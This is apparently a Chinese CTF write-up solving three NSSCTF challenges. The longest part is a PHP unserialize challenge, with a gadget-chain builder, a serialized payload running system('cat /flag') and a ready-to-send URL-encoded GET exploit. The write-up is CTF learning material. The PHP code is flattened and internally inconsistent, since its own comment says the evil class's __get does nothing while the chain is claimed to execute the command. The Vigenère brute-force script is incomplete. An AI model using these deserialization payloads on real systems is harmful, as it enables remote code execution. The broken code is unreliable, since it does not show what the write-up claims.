[MoeCTF 2021]unserialize
[广东强网杯 2021 团队组]欢迎参加强网杯
这题简单,flag直接写在脸上
NSSCTF {Wec10m3_to_QwbCtF}
[MoeCTF 2021]unserialize
<?phpclass entrance
{public $start;function __construct($start){// 构造函数初始化 $start 属性$this->start = $start;}function __destruct(){// 析构函数在对象销毁时调用// 这里尝试调用 $this->start 对象的 helloworld 方法$this->start->helloworld();}
}class springboard
{public $middle;function __call($name, $arguments){// 当调用不存在的方法时触发// 这里输出 $this->middle->hs 的值echo $this->middle->hs;}
}class evil
{public $end;function __construct($end){// 构造函数初始化 $end 属性$this->end = $end;}function __get($Attribute){// 当访问不存在的属性时触发// 这里没有实现任何逻辑,所以什么也不会发生;}
}if(isset($_GET['serialize'])) {// 如果 URL 参数中包含 'serialize',则反序列化该参数的值unserialize($_GET['serialize']);
} else {// 否则,高亮显示当前文件的内容highlight_file(__FILE__);
}
反序列化
<?phpclass entrance
{public $start;function __destruct(){// 析构函数在对象销毁时调用// 这里尝试调用 $this->start 对象的 helloworld 方法$this->start->helloworld();}
}class springboard
{public $middle;function __call($name, $arguments){// 当调用不存在的方法时触发// 这里输出 $this->middle->hs 的值echo $this->middle->hs;}
}class evil
{public $end;function __construct($end){// 构造函数初始化 $end 属性$this->end = $end;}function __get($Attribute){// 当访问不存在的属性时触发// 这里没有实现任何逻辑,所以什么也不会发生;}
}$o = new entrance;
$o->start = new springboard;
$o->start->middle = new evil("system('cat /flag');");
echo serialize($o); // 序列化对象并输出
运行后得到
O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:20:"system('cat /flag');";}}}
因为是GET传参所以要输入:
?serialize=O:8:%22entrance%22:1:{s:5:%22start%22;O:11:%22springboard%22:1:{s:6:%22middle%22;O:4:%22evil%22:1:{s:3:%22end%22;s:20:%22system(%27cat%20/flag%27);%22;}}}
得到flag:
NSSCTF{4e953688-3531-46d2-834a-d008a0c34d89}
[AFCTF 2018]Vigenère
用这个网站破解key
Vigenere Solver | guballa.de
然后就可以直接看到flag
还可以爆破但是不建议太慢了
list = “ABCDEFGHIJKLMNOPQRSTUVWXYZ”
with open(r’flag_encode.txt’,encoding = ‘utf-8’) as f:
encode_data = f.read()
for key in combinations_with_replacement(list,12):
key = ‘’.join(key)
print(key)
decoed_data = vigenere(encode_data,key)
if “afctf{” in decoed_data:
print(key)
print(decoed_data)
flag为:
NSSCTF{Whooooooo_U_Gotcha!}